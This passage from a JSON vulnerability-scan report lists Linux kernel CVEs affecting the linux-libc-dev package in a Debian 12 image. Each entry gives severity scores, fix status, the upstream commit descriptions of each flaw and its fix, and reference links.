"https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/9026932ac8be4d0ae01db47f23619a98cc57b671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90036.mbox", "https://git.kernel.org/stable/c/0d53a47c913d0bce3b5ec35c28cbcca4d015f33d", "https://git.kernel.org/stable/c/6fedb2eaff77554ca7a0deffd2e8bc0d6e8b38b0", "https://git.kernel.org/stable/c/7081224a59a0ca4edcd62c068588f4d900199a18", "https://git.kernel.org/stable/c/9026932ac8be4d0ae01db47f23619a98cc57b671", "https://git.kernel.org/stable/c/cd489b03587378645fe0d20142a33f1ed60bac98", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-p5cbazwcywbu.toml", "https://linux.oracle.com/cve/CVE-2026-90036.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90036", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90036" ], "PublishedDate": "2026-09-16T11:17:16.803Z", "LastModifiedDate": "2026-10-21T13:20:34.647Z" }, { "VulnerabilityID": "CVE-2026-90049", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90049", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b274daef633afda204eb0580490f59f847bbc42115d3041e0d664cc8e8022c1", "Title": "kernel: net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()\n\nskb_zerocopy() copies frags from @from into @to. On an\nskb_orphan_frags() failure it calls skb_tx_error(@from), a destructive\noperation on the source skb the copy helper does not own. That completes\n@from's zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, including the\nSKBFL_SHARED_FRAG page-ownership marker.\n\nBoth callers already report the failure on their own drop path.\nnfnetlink_queue does it at nla_put_failure, and Open vSwitch does it in\nthe flow-miss drop arm of ovs_dp_process_packet(), so nothing is lost by\ndropping it here.\n\nOn Open vSwitch's OVS_ACTION_ATTR_USERSPACE path the skb is not freed on\nthis error: do_execute_actions() ignores output_userspace()'s return\nvalue and, unless the upcall was the last action, keeps forwarding the\nsame skb through the flow's remaining actions. The uarg is completed\nwhile that skb is still in flight, telling the producer its buffers are\nfree, and SKBFL_SHARED_FRAG is cleared on an skb the rest of the stack\nstill handles. That flag is what makes esp_input() call skb_cow_data()\ninstead of decrypting in place, so a later local ESP delivery can\ndecrypt over frags the skb does not own privately.\n\nLeave error reporting to the callers.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90049", "https://git.kernel.org/linus/8ece906150128d5ec2462aabcc978c568433eca4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90049.mbox", "https://git.kernel.org/stable/c/04dd250a78e268af3e7124beb1dc10ec1dd88d60", "https://git.kernel.org/stable/c/767ec2a65cc022d303b0c9c12811e7db22057341", "https://git.kernel.org/stable/c/8069643ae64dfdf634b6c78c7f622e5323031436", "https://git.kernel.org/stable/c/849bdb83123760a865bcb2970127f4c0b9423ba3", "https://git.kernel.org/stable/c/8ece906150128d5ec2462aabcc978c568433eca4", "https://git.kernel.org/stable/c/a13b1e80e5015cd732440b475c0ef443dc4a2157", "https://git.kernel.org/stable/c/bab5a851e44a3601d31f2aa8043f385bb50ac5d9", "https://git.kernel.org/stable/c/fb10e0e9b220a2eed08931a60dbaad9a2370c908", "https://linux.oracle.com/cve/CVE-2026-90049.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90049", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90049" ], "PublishedDate": "2026-09-16T11:17:18.263Z", "LastModifiedDate": "2026-10-19T09:18:53.277Z" }, { "VulnerabilityID": "CVE-2026-90111", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:771025df16eb1169d9a4421854763ec7f57f4baa526d970136851964d6d599e8", "Title": "kernel: ip6mr: do not clone dst in ip6mr_cache_report()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6mr: do not clone dst in ip6mr_cache_report()\n\nIPv6 input attaches a non-refcounted (NOREF) dst to skbs under RCU.\nWhen an ingress multicast packet misses MFC lookup,\nip6mr_cache_unresolved() places the skb onto the unresolved queue,\nescaping the receive-side RCU grace period.\n\nIf the underlying route is deleted and freed, and the MFC queue is later\nresolved with a wrong parent interface, ip6_mr_forward() invokes\nip6mr_cache_report(..., MRT6MSG_WRONGMIF), which executes\ndst_clone(skb_dst(pkt)) on the freed dst entry, triggering a slab\nuse-after-free.\n\nReport packets queued to mroute6_sk (a raw socket) and netlink\nnotifications do not require an attached dst entry.\n\nFix this by:\n1. Removing dst_clone() in ip6mr_cache_report() and ensuring report skbs\n do not hold a dst.\n2. Dropping skb_dst before queuing unresolved skbs in\n ip6mr_cache_unresolved(), matching the fact that multicast\n forwarding resolves outgoing routes anew via ip6_route_output().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90111", "https://git.kernel.org/linus/235b42b5860189eb8c27c36435ad932cae65a734%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90111.mbox", "https://git.kernel.org/stable/c/235b42b5860189eb8c27c36435ad932cae65a734", "https://git.kernel.org/stable/c/42ef371466d5648f5c9e8bc219f0af0a2c2bbf8c", "https://git.kernel.org/stable/c/4a674afaae4136c71943aa3e35d433676fd40e8f", "https://git.kernel.org/stable/c/7f8287f606c8c028d4224e85d95dc448c6d6d623", "https://git.kernel.org/stable/c/b50d3cfb8513e895cee453dd0f834deee6ccc231", "https://git.kernel.org/stable/c/f57b0fd1c62e1be274ee154ab7fb8ac4481b7f89", "https://nvd.nist.gov/vuln/detail/CVE-2026-90111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90111" ], "PublishedDate": "2026-09-17T17:17:03.13Z", "LastModifiedDate": "2026-10-30T13:20:42.083Z" }, { "VulnerabilityID": "CVE-2026-90206", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf0e832b70fe274e3b435addbe3a903a3963309865a20d8ef2df4a9689fd7dd6", "Title": "kernel: nvmet: fix max_qid race between configfs and controller allocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix max_qid race between configfs and controller allocation\n\nThe function nvmet_subsys_attr_qid_max_store() can race against\nnvmet_alloc_ctrl() when a subsystem's max_qid limit is modified.\n\nSuppose max_qid is currently 64. If nvmet_alloc_ctrl() executes:\nctrl-\u003esqs = kzalloc_objs(struct nvmet_sq *, subsys-\u003emax_qid + 1);\nand at this exact point, a userspace process changes max_qid to 128,\nnvmet_subsys_attr_qid_max_store() will set the new max_qid value. It\nattempts to delete active controllers to force a reconnect, but the\nnew controller won't be deleted because it hasn't been added to the\nsubsys-\u003ectrls list yet.\n\nnvmet_alloc_ctrl() then proceeds and adds the new controller to the\nsubsys-\u003ectrls list. Later, when nvmet_install_queue() is called, it\nwill see max_qid set to 128, but the memory allocated for sqs is only\nsized for 64 entries. This results in a KASAN out-of-bounds warning\nand potential memory corruptions.\n\nFix this by protecting the queue allocations and list insertion in\nnvmet_alloc_ctrl() with down_read(\u0026nvmet_config_sem). Because\nnvmet_subsys_attr_qid_max_store() acquires down_write(\u0026nvmet_config_sem)\nto modify the attribute, this safely prevents the configfs writer from\nmodifying max_qid during controller creation.\n\nCopy the max_qid from the subsystem to the controller's structure\nduring the allocation; ctrl-\u003emax_qid never changes as long as the\ncontroller remains in LIVE state, so this will prevent similar race\nconditions.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 2, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90206", "https://git.kernel.org/linus/f1a8846e06388113dfdbb89dee005083fa9afdf9%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90206.mbox", "https://git.kernel.org/stable/c/2c23fc91789dfd9db746edb3ae9b90d65fabd410", "https://git.kernel.org/stable/c/6e6f8e3bfc66dff1833a48ecfd857268cff3be84", "https://git.kernel.org/stable/c/a1b88a1782eb6b368071dcda548a41b5c23d8cd2", "https://git.kernel.org/stable/c/af811970da4f0a928f5a1b1a946a04f755ce86f2", "https://git.kernel.org/stable/c/cae0f5ed6ce7af3f7e0003c417f1953a350f55bf", "https://git.kernel.org/stable/c/f1a8846e06388113dfdbb89dee005083fa9afdf9", "https://nvd.nist.gov/vuln/detail/CVE-2026-90206", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90206" ], "PublishedDate": "2026-09-17T17:17:15.7Z", "LastModifiedDate": "2026-10-30T13:20:46.387Z" }, { "VulnerabilityID": "CVE-2026-90227", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7f94c657a995d97c92bd324d2c2a72e035f139150df6f5dbcce37a341fdfc734", "Title": "kernel: nvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()\n\nUnlike IO_CMD / IO64_CMD, NVME_IOCTL_SUBMIT_IO never calls\nnvme_cmd_allowed(). Unprivileged callers can thus issue I/O on a\npartition device or write through a read-only file descriptor.\n\nPass flags and open_for_write through and reject disallowed commands\nwith -EACCES.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-90227", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/b53d495c7f0db46b6748b5ade48371a10dd5d3bc%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90227.mbox", "https://git.kernel.org/stable/c/736b7c6adc7a65c4411beff197b6a634f7a6ca27", "https://git.kernel.org/stable/c/95b0591d51dbf9e618d7845883d535e88ad7c8af", "https://git.kernel.org/stable/c/b116e9dae433ff631f94c36c61a7a78fe400ed1e", "https://git.kernel.org/stable/c/b53d495c7f0db46b6748b5ade48371a10dd5d3bc", "https://git.kernel.org/stable/c/c35cd98eed1a863e8dd51073953563cd8c907f68", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-o7kfra1chleh.toml", "https://linux.oracle.com/cve/CVE-2026-90227.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90227", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90227" ], "PublishedDate": "2026-09-17T17:17:18.4Z", "LastModifiedDate": "2026-10-19T09:19:13.03Z" }, { "VulnerabilityID": "CVE-2026-90315", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8bc65b667724c58ed0736d084f29cf92765a89cce378997e8148171e9f432fc", "Title": "kernel: PCI/sysfs: Add lockdown checks to legacy I/O and memory handlers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/sysfs: Add lockdown checks to legacy I/O and memory handlers\n\nCurrently, the legacy I/O and memory sysfs handlers do not check\nsecurity_locked_down(LOCKDOWN_PCI_ACCESS), leaving the legacy_io and\nlegacy_mem files unprotected when the kernel is locked down.\n\nCommit eb627e17727e (\"PCI: Lock down BAR access when the kernel is locked\ndown\") added the check to pci_write_config(), pci_mmap_resource(), and\npci_write_resource_io() to prevent userspace from programming DMA-capable\nhardware that could be used to modify kernel code, but did not cover the\nlegacy handlers.\n\nAs a result, root can still write arbitrary I/O ports and map the legacy\nI/O and memory spaces while the kernel is locked down, which is the same\ncapability the lockdown is meant to remove.\n\nAdd the same check to pci_write_legacy_io(), pci_mmap_legacy_mem(), and\npci_mmap_legacy_io().\n\nThese generic handlers cover both architectures that define HAVE_PCI_LEGACY\n(such as Alpha and PowerPC).\n\n[bhelgaas: add Link]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95367", "https://access.redhat.com/security/cve/CVE-2026-90315", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2536264", "https://bugzilla.redhat.com/2559811", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2536264", "https://bugzilla.redhat.com/show_bug.cgi?id=2559811", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98974", "https://errata.almalinux.org/10/ALSA-2026-95367.html", "https://errata.rockylinux.org/RLSA-2026:95367", "https://git.kernel.org/linus/747b9bbbbdfdee51aee2456388f9b94b5086de4d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90315.mbox", "https://git.kernel.org/stable/c/3556caa31a2bfbc22c11b812fd4ed8851c2d7bff", "https://git.kernel.org/stable/c/747b9bbbbdfdee51aee2456388f9b94b5086de4d", "https://git.kernel.org/stable/c/cd07aef510ac6a2873e01f9ddddc5492490b0067", "https://linux.oracle.com/cve/CVE-2026-90315.html", "https://linux.oracle.com/errata/ELSA-2026-95367.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90315", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90315" ], "PublishedDate": "2026-09-17T17:17:29.34Z", "LastModifiedDate": "2026-10-19T09:19:25.46Z" }, { "VulnerabilityID": "CVE-2026-93288", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93288", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d96655881de4eba34b52e479eaa71d4d2afdf7e3f73ca326682af8445b6e26cc", "Title": "kernel: netfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state\n\nsashiko reports: \"nfnl_log_net_exit() calls nf_log_unset(), which\nclears the logger pointer without an RCU grace period. Immediately after,\nops_free_list() frees the per-net state while concurrent packets might\nstill be executing nf_log_packet() under rcu_read_lock().\"\n\nClear the pointer via .pre_exit to make sure rcu readers have completed\nbefore pernet storage is free'd. The change in nf_log_syslog.c is only\ndone for consistency: it doesn't use pernet data.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-93288", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", 